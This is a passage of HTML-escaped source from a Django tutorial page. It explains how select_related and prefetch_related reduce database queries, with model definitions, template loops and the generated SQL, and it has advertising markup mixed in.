&lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;select_related&lt;/th&gt;&#xA;          &lt;th&gt;prefetch_related&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Relationship&lt;/td&gt;&#xA;          &lt;td&gt;Foreign key or One to One&lt;/td&gt;&#xA;          &lt;td&gt;Many to Many&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Number of queries&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Union of objects&lt;/td&gt;&#xA;          &lt;td&gt;Directly by SQL&lt;/td&gt;&#xA;          &lt;td&gt;Using Python&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;django-select_related&#34;&gt;django select_related&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;em&gt;select_related&lt;/em&gt; method is &lt;strong&gt;used to follow a relationship of type ForeignKey or OneToOneField to the respective objects it points to and obtain them.&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When using &lt;em&gt;select_related&lt;/em&gt; we will have a longer query, however, the advantage is that it will no longer be necessary to access the database again to obtain the objects of the related model.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o3xcx7ifog76559fy4lo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o3xcx7ifog76559fy4lo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified diagram of how Django select_related works&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Consider this example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Main&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Derivative&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    main &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Main&amp;#34;&lt;/span&gt;, related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;derivatives&amp;#34;&lt;/span&gt;, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we try to access the object pointed to by the Foreign Key relationship, a new database query will be generated. &lt;em&gt;select_related&lt;/em&gt; avoids that extra query for each object.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% for object in queryset %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{object.name}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;{{object.main.name}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For example, if we have three Derived objects related to a single main object:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A main query that retrieves all objects Derivative&lt;/li&gt;&#xA;&lt;li&gt;Three queries, exactly the same, one for each time we access the main object from the Derived object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;use-select_related-in-a-query&#34;&gt;Use select_related in a query&lt;/h3&gt;&#xA;&lt;p&gt;To use &lt;em&gt;select_related&lt;/em&gt; we call it from our query, passing it the name of the field that corresponds to our relationship with the other model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Derivative&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;select_related(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;main&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;internal-operation-of-select_related&#34;&gt;Internal operation of select_related&lt;/h3&gt;&#xA;&lt;p&gt;How &lt;em&gt;select_related&lt;/em&gt; works internally, &lt;em&gt;select_related&lt;/em&gt; replaces multiple queries being performed by a single INNER JOIN at the database level:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_derivative.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_derivative.name,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_derivative.main_id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_derivative&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_main.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_main.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; my_app_main.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_main.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_main.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; my_app_main.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_main.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_main.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; my_app_main.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This reduces multiple SQL queries to a single, longer query.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_derivative.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_derivative.name,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_derivative.main_id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_main.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_main.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_derivative&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INNER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; my_app_main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; (my_app_derivative.main_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_app_main.id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;django-prefetch_related&#34;&gt;django prefetch_related&lt;/h2&gt;&#xA;&lt;p&gt;If the &lt;em&gt;select_related&lt;/em&gt; method retrieves a single object from a single relationship field, &lt;strong&gt;the &lt;em&gt;prefetch_related&lt;/em&gt; method is used when we have a multiple relationship with another model&lt;/strong&gt;, i.e. a relationship of type &lt;em&gt;ManyToMany&lt;/em&gt; or a reverse &lt;em&gt;ForeignKey&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jgyuop69qpmie1b0cgzj.png#?&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jgyuop69qpmie1b0cgzj.png#?&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified diagram of how Django prefetch_related works&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Simplified diagram of how prefetch_related works&lt;/p&gt;&#xA;&lt;p&gt;Consider this example, note the &lt;em&gt;ManyToManyField&lt;/em&gt; field towards the &lt;em&gt;Main&lt;/em&gt; model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Main&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ManyToManyModel&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ManyToManyRel &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ManyToManyField(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Main&amp;#34;&lt;/span&gt;, related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;multiples&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we access the field that represents the multiple relation of our object, without using &lt;em&gt;prefetch_related&lt;/em&gt;, we will be impacting the database with a new query.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% for object in queryset %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{object.name}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% for main in object.ManyToManyRel.all %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- New query each iteration --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;{{main.name}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;use-prefetch_related-a-query&#34;&gt;Use prefetch_related a query&lt;/h3&gt;&#xA;&lt;p&gt;To use the &lt;em&gt;prefetch_related&lt;/em&gt; method call it at the end of our query, choosing the field that represents the many-to-many relationship in our object.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ManyToManyModel&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;prefetch_related(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ManyToManyRel&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;inner-workings-of-prefetch_related&#34;&gt;Inner workings of prefetch_related&lt;/h3&gt;&#xA;&lt;p&gt;How does &lt;em&gt;prefecth_related&lt;/em&gt; work internally? The &lt;strong&gt;&lt;em&gt;prefetch_related&lt;/em&gt; method replaces the multiple SQL queries by only 2 SQL queries: one for the main query and the other for the related objects, then it will join the data using Python&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_main.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_main.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INNER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; my_app_manytomanyrel_main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; (my_app_main.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_app_manytomanyrel_main.main_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; my_app_manytomanyrel_main.manytomanyrel_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The multiple queries above are reduced to only 2 SQL queries.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code 